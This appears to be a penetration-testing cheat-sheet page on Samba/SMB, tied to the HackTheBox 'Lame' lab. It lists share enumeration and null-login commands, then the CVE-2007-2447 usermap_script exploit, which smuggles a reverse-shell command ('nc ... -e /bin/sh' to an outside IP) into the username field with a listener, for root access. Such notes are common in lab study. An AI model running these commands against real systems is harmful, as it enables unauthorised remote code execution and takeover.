SMB Samba
Samba
smbclient -L 10.x.x.x ..list shares
smbclient -H 10.x.x.x ..host detail
rpcclient -U "" 10.x.x.x ..null login attempt
smbclient //10.x.x.x/ADMIN$
smbclient //10.x.x.x/MyShare -U bobUsername attack
> nc -nvlp 1234 ..listener
Send shell metacharacters into the username with a reverse shell payload.
> logon "/=`nohup nc -nv 10.10.14.6 4444 -e /bin/sh`"
> whoami.. root!Samba usermap script
Find samba 3.0.20 with nmap
Look up samba exploits: CVE-2007-2447
searchsploit samba 3.0.20
google/download: usermap_script.py
REF: LameHTB
Python2
REF:
Last updated
Was this helpful?